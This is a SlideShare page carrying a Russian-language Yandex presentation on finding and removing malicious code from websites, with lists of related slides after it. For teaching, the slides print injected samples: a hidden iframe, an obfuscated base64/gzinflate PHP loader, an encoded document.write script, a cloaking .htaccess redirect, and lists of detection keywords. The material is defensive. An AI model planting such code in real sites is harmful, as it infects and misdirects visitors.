SlideShare uma empresa Scribd logo
1 de 31
Baixar para ler offline
3
4
5
Контактный email адрес
из Яндекс.Вебмастер
WHIOS данные
abuse@
webmaster@
security@
admin@
…
Уведомления о заражении
6
99% посетителей страницы поисковой выдачи
не переходят на заражённые сайты
7
8
http://webmaster.yandex.ru
9
http://webmaster.yandex.ru
Где искать вредоносный код
11
{* Smarty Template *}
{* Core Template *}
{* Multi-lang - Loads all inner components of the page *}
<!DOCTYPE HTML>
<html>
<head>
{include file=$lang|cat:"/head.tpl"}
</head>
<body>
{include file=$lang|cat:"/menu.tpl"}
{include file=$lang|cat:"/body.tpl"}
{include file=$lang|cat:"/footer.tpl"}
<iframe src="http://thumbtackeffects.biz:90/forum/ask.php"
width="0" height="0" frameborder="0"></iframe>
</body>
</html>
Шаблоны / JS
12
<?php assert(gzinflate(base64_decode('ZXbc...1sdQp9‘)));
$smarty = new Smarty;
$smarty->setTemplateDir('../smarty/templates');
class Template extends Smarty
{
function __construct()
{
parent::__construct();
$this->template_dir = "../smarty/templates/";
$this->compile_dir = "../smarty/templates_c/";
}
}
…
Server-side cкрипты
13
…
<p><strong></strong></p>
<SCRIPT>document.write(unescape('<%53C122IP%54>
146f075060073
f0456Fr(%6E%6E040i156%20144oc165me%6E04574%29
i146(n156==047et157ur%73%270457C%7Cnn075=%27lo1470
456F-141ni155047) 146f=%31073 151f(04566f=0750174|(
...
>074047+04527%2FSC122IP124%3E047%29%3B
d157c04575me156t.167162it%6505004527<047+047041--
047);04520%3C/S%43R111P124>'))</SCRIPT><H2>Crestor side
effects</H2>
<P>Necrosis in the clinical, findings
…
БД
14
RewriteEngine On
…
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml"
[NC,OR]
…
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
…
[L,R=302]
RewriteCond %{HTTP_REFERER} ^http://www.yandex.ru/ [OR]
RewriteCond %{HTTP_REFERER} ^http://google.com/ [OR]
…
RewriteRule ^(.*)$
http://qo0.ru/?1&source=%{HTTP_HOST}
[L,R=302]
Файлы конфигурации ( .htaccess )
15
<!--Money counter--><script type="text/javascript"><!--
document.write('<sc' + 'ript language="JavaScript" rel="nofollow" ' +
'src="http://traffbiz.is-by.us/ID_сайта/counterOne.jpg" title="Money counter"
border="0" width="1" height="1"></sc' + 'ript>');
//--></script><!--/Money counter-->
Реклама и партнерские программы
16
LoadModule access_module modules/mod_access.so
LoadModule actions_module modules/mod_actions.so
LoadModule alias_module modules/mod_alias.so
LoadModule asis_module modules/mod_spm_headers.so
LoadModule auth_module modules/mod_auth.so
#LoadModule auth_anon_module modules/mod_auth_anon.so
#LoadModule auth_dbm_module modules/mod_auth_dbm.so
httpd.conf
Бинарные файлы
DrWeb: Linux.Iframe.1
Sophos: Troj/Apmod-C
TrendMicro-HouseCall: TROJ_GEN
Как искать вредоносный код
18
Отладочный http прокси
• Fiddler
• Charles
• HandyCache
• …
19
• Уязвимые версии расширений браузера
• Referer страницы поисковой выдачи
• Мобильный User-Agent
• Новый IP-адрес
• Чистые cookies
Как получить вредоносный код
20
• html: <iframe>, <script>, <object>,<applet>
• google-analylics.com, yandes.ru
• js: eval, document.write, document.location,
window.open, unescape
• .in, .cn, .tk, прямые ip-адреса, dyndns-
сервисы, случаный набор символов в
имени хоста
Характерные черты
21
• Длинные нечитаемые скрипты
• Лишние операции со строками (переопределение,
замена подстрок, смещение символов,
конкатенация)
• Посторонний код в js-библиотеках
• Переопределение DOM элементов
Характерные черты
22
Примеры вредоносного кода
23
DIFF
24
Общие признаки
вредоносного кода для PHP
• eval, assert, create_function
• base64_decode, gzuncompress,
gzinflate, ob_start, str_rot13,
preg_replace
• file_get_contents, curl_exec
25
Рекомендации в Яндекс.Вебмастер
http://help.yandex.ru/webmaster/
26
27
• Ограничение прав веб-сервера
• Обновление серверного ПО
• Запрет доступа к сервисам извне
• Контроль целостности файлов
…
28
29
http://safesearch.ya.ru/
http://help.yandex.ru/webmaster/
30 http://safe.yandex.ru/
Как удалить вредоносный код с сайта своими руками

Mais conteúdo relacionado

Semelhante a Как удалить вредоносный код с сайта своими руками

Структура HTML документа (HTML5 тема 01 - структура html документа)
Структура HTML документа (HTML5 тема 01 - структура html документа)Структура HTML документа (HTML5 тема 01 - структура html документа)
Структура HTML документа (HTML5 тема 01 - структура html документа)Noveo
 
Web весна 2012 лекция 4
Web весна 2012 лекция 4Web весна 2012 лекция 4
Web весна 2012 лекция 4Technopark
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''DneprCiklumEvents
 
Silverlight 4, есть ли жизнь на десктопе?
Silverlight 4, есть ли жизнь на десктопе?Silverlight 4, есть ли жизнь на десктопе?
Silverlight 4, есть ли жизнь на десктопе?Eugene Zharkov
 
Автоматическая загрузка и обработка данных для веб-порталов
Автоматическая загрузка и обработка данных для веб-порталовАвтоматическая загрузка и обработка данных для веб-порталов
Автоматическая загрузка и обработка данных для веб-порталовindex.art
 
Take more from Jquery
Take more from JqueryTake more from Jquery
Take more from JqueryMagento Dev
 
Выступление Андрея Сумина, Mail.Ru Group, на High Performance Conference
Выступление Андрея Сумина, Mail.Ru Group, на High Performance ConferenceВыступление Андрея Сумина, Mail.Ru Group, на High Performance Conference
Выступление Андрея Сумина, Mail.Ru Group, на High Performance ConferenceEYevseyeva
 
Лекция #3. Введение в языки разметки web-страниц
Лекция #3. Введение в языки разметки web-страницЛекция #3. Введение в языки разметки web-страниц
Лекция #3. Введение в языки разметки web-страницЯковенко Кирилл
 
Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?Stepan Tanasiychuk
 
Как создать сайт
Как создать сайтКак создать сайт
Как создать сайтUnited Design
 
Презентация «WebMarkupMin – HTML-минификатор для платформы .NET» с MskDotNet ...
Презентация «WebMarkupMin – HTML-минификатор для платформы .NET» с MskDotNet ...Презентация «WebMarkupMin – HTML-минификатор для платформы .NET» с MskDotNet ...
Презентация «WebMarkupMin – HTML-минификатор для платформы .NET» с MskDotNet ...Andrey Taritsyn
 
Страх и ненависть в исходном коде
Страх и ненависть в исходном кодеСтрах и ненависть в исходном коде
Страх и ненависть в исходном кодеKolya Korobochkin
 
MODX 3: Что нового?
MODX 3: Что нового?MODX 3: Что нового?
MODX 3: Что нового?Ivan Klimchuk
 
API сервиса Яндекс.Вебмастер
API сервиса Яндекс.ВебмастерAPI сервиса Яндекс.Вебмастер
API сервиса Яндекс.ВебмастерСергей Мочалов
 

Semelhante a Как удалить вредоносный код с сайта своими руками (20)

Структура HTML документа (HTML5 тема 01 - структура html документа)
Структура HTML документа (HTML5 тема 01 - структура html документа)Структура HTML документа (HTML5 тема 01 - структура html документа)
Структура HTML документа (HTML5 тема 01 - структура html документа)
 
Web весна 2012 лекция 4
Web весна 2012 лекция 4Web весна 2012 лекция 4
Web весна 2012 лекция 4
 
чернобай т., гайдай ю.
чернобай т., гайдай ю.чернобай т., гайдай ю.
чернобай т., гайдай ю.
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
 
модуль 1
модуль 1модуль 1
модуль 1
 
Agile theming with kalatheme & panopoly
Agile theming with kalatheme & panopolyAgile theming with kalatheme & panopoly
Agile theming with kalatheme & panopoly
 
Silverlight 4, есть ли жизнь на десктопе?
Silverlight 4, есть ли жизнь на десктопе?Silverlight 4, есть ли жизнь на десктопе?
Silverlight 4, есть ли жизнь на десктопе?
 
Введение в Django
Введение в DjangoВведение в Django
Введение в Django
 
презентация Day4
презентация Day4презентация Day4
презентация Day4
 
Автоматическая загрузка и обработка данных для веб-порталов
Автоматическая загрузка и обработка данных для веб-порталовАвтоматическая загрузка и обработка данных для веб-порталов
Автоматическая загрузка и обработка данных для веб-порталов
 
Take more from Jquery
Take more from JqueryTake more from Jquery
Take more from Jquery
 
Jsfwdays 2013-2
Jsfwdays 2013-2Jsfwdays 2013-2
Jsfwdays 2013-2
 
Выступление Андрея Сумина, Mail.Ru Group, на High Performance Conference
Выступление Андрея Сумина, Mail.Ru Group, на High Performance ConferenceВыступление Андрея Сумина, Mail.Ru Group, на High Performance Conference
Выступление Андрея Сумина, Mail.Ru Group, на High Performance Conference
 
Лекция #3. Введение в языки разметки web-страниц
Лекция #3. Введение в языки разметки web-страницЛекция #3. Введение в языки разметки web-страниц
Лекция #3. Введение в языки разметки web-страниц
 
Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?Symfony2. На чем можно сэкономить время при разработке?
Symfony2. На чем можно сэкономить время при разработке?
 
Как создать сайт
Как создать сайтКак создать сайт
Как создать сайт
 
Презентация «WebMarkupMin – HTML-минификатор для платформы .NET» с MskDotNet ...
Презентация «WebMarkupMin – HTML-минификатор для платформы .NET» с MskDotNet ...Презентация «WebMarkupMin – HTML-минификатор для платформы .NET» с MskDotNet ...
Презентация «WebMarkupMin – HTML-минификатор для платформы .NET» с MskDotNet ...
 
Страх и ненависть в исходном коде
Страх и ненависть в исходном кодеСтрах и ненависть в исходном коде
Страх и ненависть в исходном коде
 
MODX 3: Что нового?
MODX 3: Что нового?MODX 3: Что нового?
MODX 3: Что нового?
 
API сервиса Яндекс.Вебмастер
API сервиса Яндекс.ВебмастерAPI сервиса Яндекс.Вебмастер
API сервиса Яндекс.Вебмастер
 

Mais de Сергей Мочалов

Внедряем семантическую микроразметку на сайт интернет-магазина
Внедряем семантическую микроразметку на сайт интернет-магазинаВнедряем семантическую микроразметку на сайт интернет-магазина
Внедряем семантическую микроразметку на сайт интернет-магазинаСергей Мочалов
 
Рекомендации Яндекса по созданию сайта
Рекомендации Яндекса по созданию сайтаРекомендации Яндекса по созданию сайта
Рекомендации Яндекса по созданию сайтаСергей Мочалов
 
Повышаем качество коммерческого сайта. От слов к цифрам и действиям.
Повышаем качество коммерческого сайта. От слов к цифрам и действиям.Повышаем качество коммерческого сайта. От слов к цифрам и действиям.
Повышаем качество коммерческого сайта. От слов к цифрам и действиям.Сергей Мочалов
 
Психология взаимоотношений с посетителем сайта
Психология взаимоотношений с посетителем сайтаПсихология взаимоотношений с посетителем сайта
Психология взаимоотношений с посетителем сайтаСергей Мочалов
 
Как улучшить сайт с помощью API Яндекс.Карт: практические советы и примеры.
Как улучшить сайт с помощью API Яндекс.Карт: практические советы и примеры.Как улучшить сайт с помощью API Яндекс.Карт: практические советы и примеры.
Как улучшить сайт с помощью API Яндекс.Карт: практические советы и примеры.Сергей Мочалов
 
Яндекс.Поиск для сайта. HTML+CSS: новые возможности дизайна выдачи
Яндекс.Поиск для сайта. HTML+CSS: новые возможности дизайна выдачиЯндекс.Поиск для сайта. HTML+CSS: новые возможности дизайна выдачи
Яндекс.Поиск для сайта. HTML+CSS: новые возможности дизайна выдачиСергей Мочалов
 
Передача дополнительных сведений о сайте с помощью семантической разметки
Передача дополнительных сведений о сайте с помощью семантической разметкиПередача дополнительных сведений о сайте с помощью семантической разметки
Передача дополнительных сведений о сайте с помощью семантической разметкиСергей Мочалов
 
Основы запуска сайта, возможные ошибки
Основы запуска сайта, возможные ошибкиОсновы запуска сайта, возможные ошибки
Основы запуска сайта, возможные ошибкиСергей Мочалов
 

Mais de Сергей Мочалов (8)

Внедряем семантическую микроразметку на сайт интернет-магазина
Внедряем семантическую микроразметку на сайт интернет-магазинаВнедряем семантическую микроразметку на сайт интернет-магазина
Внедряем семантическую микроразметку на сайт интернет-магазина
 
Рекомендации Яндекса по созданию сайта
Рекомендации Яндекса по созданию сайтаРекомендации Яндекса по созданию сайта
Рекомендации Яндекса по созданию сайта
 
Повышаем качество коммерческого сайта. От слов к цифрам и действиям.
Повышаем качество коммерческого сайта. От слов к цифрам и действиям.Повышаем качество коммерческого сайта. От слов к цифрам и действиям.
Повышаем качество коммерческого сайта. От слов к цифрам и действиям.
 
Психология взаимоотношений с посетителем сайта
Психология взаимоотношений с посетителем сайтаПсихология взаимоотношений с посетителем сайта
Психология взаимоотношений с посетителем сайта
 
Как улучшить сайт с помощью API Яндекс.Карт: практические советы и примеры.
Как улучшить сайт с помощью API Яндекс.Карт: практические советы и примеры.Как улучшить сайт с помощью API Яндекс.Карт: практические советы и примеры.
Как улучшить сайт с помощью API Яндекс.Карт: практические советы и примеры.
 
Яндекс.Поиск для сайта. HTML+CSS: новые возможности дизайна выдачи
Яндекс.Поиск для сайта. HTML+CSS: новые возможности дизайна выдачиЯндекс.Поиск для сайта. HTML+CSS: новые возможности дизайна выдачи
Яндекс.Поиск для сайта. HTML+CSS: новые возможности дизайна выдачи
 
Передача дополнительных сведений о сайте с помощью семантической разметки
Передача дополнительных сведений о сайте с помощью семантической разметкиПередача дополнительных сведений о сайте с помощью семантической разметки
Передача дополнительных сведений о сайте с помощью семантической разметки
 
Основы запуска сайта, возможные ошибки
Основы запуска сайта, возможные ошибкиОсновы запуска сайта, возможные ошибки
Основы запуска сайта, возможные ошибки
 

Как удалить вредоносный код с сайта своими руками